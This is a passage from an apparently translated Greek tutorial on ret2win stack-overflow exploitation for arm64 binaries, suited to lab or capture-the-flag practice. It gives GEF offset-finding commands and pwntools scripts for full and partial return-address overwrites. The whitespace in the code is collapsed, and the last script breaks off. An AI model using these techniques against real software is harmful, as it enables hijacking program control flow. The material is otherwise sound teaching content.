Αυτό το παράδειγμα δημιουργήθηκε χρησιμοποιώντας GEF:
Εκκινήστε το gdb με το gef, δημιουργήστε μοτίβο και χρησιμοποιήστε το:
gdb-q./ret2winpatterncreate200run
Η arm64 θα προσπαθήσει να επιστρέψει στη διεύθυνση που είναι στο μητρώο x30 (το οποίο έχει παραβιαστεί), μπορούμε να το χρησιμοποιήσουμε για να βρούμε την απόσταση του μοτίβου:
patternsearch $x30
Η απόσταση είναι 72 (9x48).
Επιλογή απόστασης στοίβας
Ξεκινήστε αποκτώντας τη διεύθυνση της στοίβας όπου αποθηκεύεται το pc register:
from pwn import*# Configurationbinary_name ='./ret2win'p =process(binary_name)# Prepare the payloadoffset =72ret2win_addr =p64(0x00000000004006c4)payload =b'A'* offset + ret2win_addr# Send the payloadp.send(payload)# Check responseprint(p.recvline())p.close()
Off-by-1
Στην πραγματικότητα, αυτό θα είναι περισσότερο σαν off-by-2 στην αποθηκευμένη διεύθυνση PC στη στοίβα. Αντί να αντικαταστήσουμε όλες τις διευθύνσεις επιστροφής, θα αντικαταστήσουμε μόνο τα τελευταία 2 bytes με 0x06c4.
from pwn import*# Configurationbinary_name ='./ret2win'p =process(binary_name)# Prepare the payloadoffset =72ret2win_addr =p16(0x06c4)payload =b'A'* offset + ret2win_addr# Send the payloadp.send(payload)# Check responseprint(p.recvline())p.close()
Συμπληρώστε το δυαδικό χωρίς το επιχείρημα -no-pie
Off-by-2
Χωρίς μια leak δεν γνωρίζουμε τη ακριβή διεύθυνση της νικηφόρας συνάρτησης αλλά μπορούμε να γνωρίζουμε την απόσταση της συνάρτησης από το δυαδικό και γνωρίζοντας ότι η διεύθυνση επιστροφής που αντικαθιστούμε δείχνει ήδη σε μια κοντινή διεύθυνση, είναι δυνατό να διαρρεύσουμε την απόσταση στη συνάρτηση win (0x7d4) σε αυτή την περίπτωση και απλά να χρησιμοποιήσουμε αυτή την απόσταση:
```python from pwn import *
Configuration
binary_name = './ret2win' p = process(binary_name)